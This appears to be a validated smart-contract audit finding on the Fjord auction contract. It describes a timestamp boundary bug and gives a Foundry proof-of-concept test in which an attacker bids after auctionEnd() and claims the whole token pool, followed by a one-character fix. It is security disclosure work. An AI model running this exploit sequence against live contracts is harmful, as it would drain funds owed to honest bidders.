Fjord Token Staking
Fjord
DeFiFoundry
20,000 USDC
View results
Previous Next
Submission Details
Severity: medium
Valid

Miner attack can lead to auction pool drain.

dobrevaleri

Summary

Miner attack can lead to auction pool drain.

Vulnerability Details

In the bid() and unbid() functions, actions are permitted only if the current block time is less than or equal to the auctionEndTime. However, in the auctionEnd() function, the auction is allowed to end at or after the auctionEndTime. This discrepancy results in the ability to bid and unbid even after the auction has officially ended.

This vulnerability can be exploited if the attacker collaborates with a miner who can order transactions in a specific sequence, and the block is mined exactly at the auctionEndTime.

Impact

If the attack is executed successfully, the attacker can seize the entire amount of auctionToken.

PoC

import "forge-std/Test.sol";
import "src/FjordAuction.sol";
import { ERC20BurnableMock } from "../mocks/ERC20BurnableMock.sol";
import { SafeMath } from "lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol";
​
contract TestAuction is Test {
using SafeMath for uint256;
​
FjordAuction public auction;
ERC20BurnableMock public fjordPoints;
ERC20BurnableMock public auctionToken;
address public owner = address(0x1);
address public bidder = address(0x2);
address public attacker = makeAddr("Attacker");
uint256 public biddingTime = 1 weeks;
uint256 public totalTokens = 1000 ether;
​
function setUp() public {
fjordPoints = new ERC20BurnableMock("FjordPoints", "fjoPTS");
auctionToken = new ERC20BurnableMock("AuctionToken", "AUCT");
auction =
new FjordAuction(address(fjordPoints), address(auctionToken), biddingTime, totalTokens);
​
deal(address(fjordPoints), attacker, 100 ether);
deal(address(fjordPoints), bidder, 100 ether);
deal(address(auctionToken), address(auction), totalTokens);
}
​
function testBidAfterEnd() public {
uint256 currentTimestamp = block.timestamp;
uint256 endAuctionTimestamp = currentTimestamp + biddingTime;
​
// Bid
vm.startPrank(bidder);
fjordPoints.approve(address(auction), 100 ether);
auction.bid(99);
vm.stopPrank();
​
assertEq(auction.totalBids(), 99);
​
vm.startPrank(attacker);
fjordPoints.approve(address(auction), 100 ether);
auction.bid(1);
​
// Skip the time until the auctionEndTime
vm.warp(endAuctionTimestamp);
​
// End the auction
auction.auctionEnd();
​
// Attack
auction.bid(99); //@note the attacker can bid >=totalBids() - hisBids(), so that he can claim the whole pool
​
vm.stopPrank();
​
// Validate the bid is successful
uint256 totalBids = auction.totalBids();
assertEq(auction.totalBids(), 199);
assert(auction.multiplier() != totalTokens.mul(1e18).div(totalBids));
​
uint256 attackerBalanceBefore = auctionToken.balanceOf(attacker);
​
vm.startPrank(attacker);
auction.claimTokens();
vm.stopPrank();
​
uint256 attackerBalanceAfter = auctionToken.balanceOf(attacker);
uint256 attackerBalance = attackerBalanceAfter - attackerBalanceBefore;
​
assert(attackerBalance == 1000 ether);
​
// Validate that the bidder cannot claim
vm.startPrank(bidder);
vm.expectRevert("ERC20: transfer amount exceeds balance");
auction.claimTokens();
vm.stopPrank();
}
}

Tools Used

Manual review

Recommendations

function bid(uint256 amount) external {
- if (block.timestamp > auctionEndTime) {
+ if (block.timestamp >= auctionEndTime) {
revert AuctionAlreadyEnded();
}
​
bids[msg.sender] = bids[msg.sender].add(amount);
totalBids = totalBids.add(amount);
​
fjordPoints.transferFrom(msg.sender, address(this), amount); //? approved before?
emit BidAdded(msg.sender, amount);
}
​
/**
* @notice Allows users to withdraw part or all of their bids before the auction ends.
* @param amount The amount of FjordPoints to withdraw.
*/
function unbid(uint256 amount) external {
- if (block.timestamp > auctionEndTime) {
+ if (block.timestamp >= auctionEndTime) {
revert AuctionAlreadyEnded();
}
​
uint256 userBids = bids[msg.sender];
if (userBids == 0) {
revert NoBidsToWithdraw();
}
if (amount > userBids) {
revert InvalidUnbidAmount();
}
​
bids[msg.sender] = bids[msg.sender].sub(amount);
totalBids = totalBids.sub(amount);
fjordPoints.transfer(msg.sender, amount);
emit BidWithdrawn(msg.sender, amount);
}
​
Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Users can bid in the same block when the actionEnd could be called (`block.timestamp==actionEndTime`), depending on the order of txs in block they could lose funds

The protocol doesn't properly treat the `block.timestamp == auctionEndTime` case. Impact: High - There are at least two possible impacts here: 1. By chance, user bids could land in a block after the `auctionEnd()` is called, not including them in the multiplier calculation, leading to a situation where there are insufficient funds to pay everyone's claim; 2. By malice, where someone can use a script to call `auctionEnd()` + `bid(totalBids)` + `claimTokens()`, effectively depriving all good faith bidders from tokens. Likelihood: Low – The chances of getting a `block.timestamp == auctionEndTime` are pretty slim, but it’s definitely possible.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.